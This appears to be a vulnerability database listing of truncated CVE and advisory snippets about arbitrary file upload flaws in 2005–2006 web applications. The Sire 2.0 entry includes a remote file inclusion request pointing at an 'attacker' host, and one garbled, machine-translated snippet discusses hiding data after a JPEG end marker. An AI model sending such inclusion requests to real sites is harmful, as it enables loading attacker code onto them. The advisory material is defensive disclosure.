CVE-2006-2530

CVE-2006-2530 affects Avatar MOD 1.3 for Snitz Forums 3.4 (and possibly other versions). The issue arises in avatar_upload.asp where remote attackers can bypass file type checks and upload arbitrary files by inserting a null byte in the file name. This constitutes an input validation bypass in th...

Design/Logic Flaw

The ActiveX version of FrontRange iHEAT allows remote authenticated users to run arbitrary programs or access arbitrary files on the host machine by uploading a file with an extension that is not associated with an application, and selecting a file from the "Open With..." dialog...

How in does not support the Upload file to the forum file upload-vulnerability warning-the black bar safety net

How in the does not support file upload Forum, Upload File To achieve this goal, there is a prerequisite for this forum to be able to upload pictures. Commonly used Picture format is generally as JPEG, this format is FFD9 as the end-of-file Mark, as to which after the Deposit of anything on the...

Sire 2.0 - '/lire.php' Remote File Inclusion / Arbitrary File Upload

+File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code +Exploit: Exploit http://trajet/lire.php?rub=http://attacker&cahier=1&art=1...

Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability

Exploit for unknown platform in category web applications ============================================================================ Sire 2.0 lire.php Remote File Inclusion/Arbitary File Upload Vulnerability ============================================================================ +File...

CVE-2006-1485

Greymatter 1.3.1 is affected by CVE-2006-1485 due to gm-upload.cgi , which allows remote authenticated users with upload privileges to execute arbitrary programs by uploading files under the web root. The description notes that provenance is unknown and information comes from third parties. No ve...

CVE-2006-1371

CVE-2006-1371 affects XHP CMS

NSAG-196-23.02.2006.txt

Advisory: NSAG-¹196-23.02.2006 Research: NSA Group Russian company on Audit of safety & Network security Site of Research: http://www.nsag.ru or http://www.nsag.org Product: FCKeditor 2.2 Site of manufacturer: http://www.fckeditor.net The status: 19/11/2005 - Publication is postponed. 19/11/2005 ...

CVE-2006-0332

CVE-2006-0332 affects Pantomime in Ecartis 1.0.0 snapshot 20050909. The vulnerability arises because e-mail attachments are stored in a publicly accessible directory, which may allow remote attackers to upload arbitrary files. The available documents identify the affected product/version and the ...

[eVuln] MyPhPim Arbitrary File Upload

New eVuln Advisory: MyPhPim Arbitrary File Upload --------------------Summary---------------- Software: MyPhPim Sowtware's Web Site: http://sourceforge.net/projects/myphpim/ Versions: 01.05 Critical Level: Moderate Type: File Upload Class: Remote Status: Unpatched Exploit: Available Solution: Not...

CVE-2006-0169

The vulnerability CVE-2006-0169 affects MyPhPim 01.05 (addresses.php3) where uploaded files are not restricted. This allows remote attackers to execute arbitrary PHP code via the pdbfile parameter and then directly access those files from the uploads directory, due to improper validation of uploa...

CVE-2005-4422

Unrestricted file upload vulnerability in toendaCMS before 0.6.2 Stable allows remote authenticated administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in data/images/albums...

CVE-2005-4423

CVE-2005-4423 affects PHPFM older than 0.2.3. The issue is an unrestricted file upload vulnerability that lets remote authenticated users upload a file with an executable extension (e.g., .php ) to an accessible directory and thereby execute arbitrary code under the web server's privileges. Explo...

CVE-2005-3767

Exponent CMS 0.96.3 and later versions contain a vulnerability where the uploader does not properly restrict file types, enabling remote attackers to upload and execute PHP files. The underlying issue is insufficient validation of uploaded content, allowing arbitrary PHP code execution via the CM...

PHPFM - Arbitrary File Upload

PHPFM - Arbitrary File Upload source: https://www.securityfocus.com/bid/15335/info PHPFM is prone to an arbitrary file upload vulnerability. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate unauthorize...

Mail-it Now! Upload2Server Predictable Filename Upload Arbitrary Code Execution

The remote host is running Mail-it Now! Upload2Server, a free, PHP feedback form script supporting file uploads. The version of Upload2Server installed on the remote host stores uploaded files insecurely. An attacker may be able to exploit this flaw to upload a file with arbitrary code and then...

CVE-2005-2699

CVE-2005-2699 concerns PHP-Kit 1.6.1 where an unrestricted file upload in admin/admin.php via images.php allows uploading a .php file to content/images/ and executing arbitrary PHP code. The vulnerability requires the attacker to be a remote authenticated administrator, implying privilege within ...

CVE-2005-2437

The CVE-2005-2437 entry concerns Website Baker Project, where uploaded file extensions are not properly verified. This allows remote attackers to upload and execute arbitrary PHP code due to the insufficient validation of the file type during upload. The available references (NVD, CVE, CVEList) c...

CVE-2005-1031

CVE-2005-1031 affects RunCMS 1.1A and possibly other products based on e-Xoops (exoops). The vulnerability arises when the setting “Allow custom avatar upload” is enabled and the uploaded files are not properly verified, allowing remote attackers to upload arbitrary files. Connected sources corro...

runcms/e-xoops 1.1A and below file upload vulnerability

Products: runcms/e-xoops 1.1A http://www.runcms.org Summary: runcms/e-xoops 1.1A and below file upload vulnerability Description =========== runcms/e-xoops is an extensible, OO Object Oriented, easy to use dynamic web content management system written in PHP. runcms/e-xoops is the ideal tool for...